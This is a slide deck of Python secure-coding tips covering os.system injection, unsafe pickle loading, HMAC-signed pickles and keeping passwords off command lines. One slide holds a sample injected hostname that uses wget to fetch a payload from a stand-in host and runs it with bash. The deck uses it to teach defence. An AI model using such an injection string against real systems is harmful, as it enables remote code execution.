Python - Security Tips

Getting the simple stuff right

DONT os.system

# ping hostname once, with timeout of two
os.system("ping -c 1 -W 2 " + hostname)

Remote code execution, because it starts up the shell.

hostname = "; wget http://payloads.haha/dont-use-os-system; bash dont-use-os-system"

DO subprocess.Popen

import subprocess

process = subprocess.Popen([
    "program", "-c", "1", "-W", "2", hostname
], stdout=subprocess.NONE, stderr=subprocess.NONE)

process.wait() # returns the process exit code
print(process.returncode)

Don't use shell=True (same problems as previous slide)

subprocess cheat sheet: TODO

DONT pickle

import pickle

with open("myfile.pickle", "rb") as fp:
    obj = pickle.load(fp) # this is UNSAFE!
    
print(obj)

Arbitrary code execution!

TODO: sample payload

DO: JSON

import json

with open("myfile.json", "rb") as fp:
    obj = json.load(fp)
    
print(obj)

This is safe, doesn't lock you with Python (unlike pickle), and is probably all you need.

I really want pickle

import os, pickle, hmac, hashlib

SECRET = os.environ["SECRET_KEY"].encode("utf-8")

def compute_signature(secret, payload):
    return hmac.new(secret, payload, hashlib.sha256) \
           .hexdigest().encode("utf-8")

def write(obj):
    with open("myfile.pickle", "wb") as fp:
        pickle_bytes = pickle.dumps(obj)
        fp.write(compute_signature(SECRET, pickle_bytes))
        fp.write(b"\n")
        fp.write(pickle_bytes)

def read():
    with open("myfile.pickle", "rb") as fp:
        signature = fp.readline()[:-1]  # remove new line
        pickle_bytes = fp.read()        # read remaining of the file
        actual_signature = compute_signature(SECRET, pickle_bytes)

        # don't use ==. It bails out as soon it find a character
        # that doesn't match, and thus the time it takes to complete
        # depends on how close you are to the correct signature.
        if not hmac.compare_digest(actual_signature, signature):
            raise ValueError(
                "the signatures don't match! "
                "Someone is trying to hack this"
            )
        return pickle.loads(pickle_bytes)

Then sign your file, to make sure no one introduced some nasty things...

Do play with this

$ env SECRET_KEY=correcthorsebatterystaple python -i signed-pickle.py
>>> write(write)
>>> read()
<function write at 0x7fdcdaccf3a0>
>>> read()(read)
>>> read()()
<function read at 0x7fdcdaccf430>
>>> read()()()()()()()()()()()()()()
<function read at 0x7fdcdaccf430>
>>> 
$ env SECRET_KEY=whatyalookingat python -i signed-pickle.py
>>> write({'function': max})
>>> read()
{'function': <built-in function max>}
>>> with open('myfile.pickle', 'ab') as fp:
...     fp.write(b'edit')
... 
4
>>> read()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "signed-pickle.py", line 26, in read
    raise ValueError(
ValueError: the signatures don't match! Someone is trying to hack this
>>> 

DONT: passwords in command line arguments

$ ps -ef | grep server
math2001   40636   35670  0 11:05 pts/9    00:00:00 python server.py --password=this-is-baaaaddd
math2001   40694   40637  0 11:05 pts/6    00:00:00 grep -i --color=auto server.py
$ grep server.py ~/.bash_history 
python server.py --password=this-is-baaaaddd

DO: use environment variables

DO: use carefully protected files

chmod 600 passwordfile
Made with Slides.com